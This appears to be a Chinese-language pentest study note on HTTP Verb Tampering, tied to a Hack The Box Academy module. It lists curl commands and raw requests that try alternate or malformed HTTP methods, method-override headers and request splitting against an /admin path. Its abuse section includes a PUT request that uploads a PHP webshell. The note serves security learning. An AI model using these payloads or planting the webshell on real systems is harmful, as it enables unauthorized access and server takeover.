HTTP Verb Tampering

HTTP Verb Tampering(HTTP 動詞篡改)是一種 Web 安全漏洞,攻擊者透過變更 HTTP Method(如 GETPOSTPUTDELETE)來繞過伺服器的訪問控制機制,進行未授權操作或敏感數據存取。

1. 發現點

  • 登入

  • 登記

  • 403 禁止

  • 禁止

2. 測試Payload

1️⃣ 嘗試不同 HTTP 動詞

常見測試:

# 測試是否能繞過身份驗證
curl -X GET http://target.com/admin
curl -X PUT http://target.com/admin
curl -X DELETE http://target.com/admin

# 測試 HEAD 是否會洩露敏感資訊
curl -X HEAD http://target.com/admin -i

# 利用 TRACE 進行 XST(跨站追蹤攻擊)
curl -X TRACE http://target.com/admin -i

# 測試 X-HTTP-Method-Override
curl -X POST http://target.com/admin -H "X-HTTP-Method-Override: DELETE"
GET /admin
POST /admin
PUT /admin
DELETE /admin
HEAD /admin
OPTIONS /admin
TRACE /admin

目的:檢測是否能繞過權限驗證或執行不該允許的操作。

2️⃣ 變形 HTTP 動詞

有些伺服器可能不嚴格檢查標準 HTTP 方法,可以測試變形動詞:

GETT /admin
POSTT /admin
X-HTTP-Method-Override: PUT

目的:測試是否能繞過黑名單或解析異常導致的安全漏洞。

3️⃣ X-HTTP-Method-Override

某些應用允許透過 X-HTTP-Method-Override 來覆寫 HTTP 方法:

POST /admin
X-HTTP-Method-Override: DELETE

目的:檢查應用是否支援此機制,並嘗試執行未授權操作。

4️⃣ X-Method-Override 及其他變形

某些應用可能允許不同標頭變種:

X-Method-Override: PUT
X-HTTP-Method: DELETE
X-Override-Method: PATCH

目的:檢測伺服器是否支援不同名稱的覆寫標頭。

3. bypass技巧

  • 混淆 HTTP 動詞

    • GET /admin HTTP/1.1\r\nPOST / HTTP/1.1

    • HEAD /admin (可能繞過日誌記錄)

  • 利用 OPTIONS

    OPTIONS /admin HTTP/1.1
    • 查看允許的 HTTP 方法,確認可用的攻擊向量。

  • 拆分請求

    GET /admin HTTP/1.1
    Host: target.com
    Content-Length: 0
    
    PUT /admin HTTP/1.1

    目的:測試是否能透過拆分請求繞過安全檢查。

  • 攔截請求篡改

    • 使用 Burp Suite 攔截請求,修改 HTTP 方法後轉發。

4. 濫用

🚀 進一步攻擊方向

  1. 利用 DELETEPUT 進行數據破壞或上傳 Webshell

    curl -X PUT http://target.com/uploads/shell.php --data "<?php system($_GET['cmd']); ?>"
  2. 結合 IDOR(不安全的直接對象參照)漏洞

    • 測試 PUT /user/1234 是否可以修改其他用戶的數據。

  3. 利用 TRACE 進行 XST

    • 如果 TRACE 啟用,結合 JavaScript 嘗試竊取 HTTP Header(如 Cookie)。

5.Skills Assessment

https://academy.hackthebox.com/module/134/section/1219

最后更新于

这有帮助吗?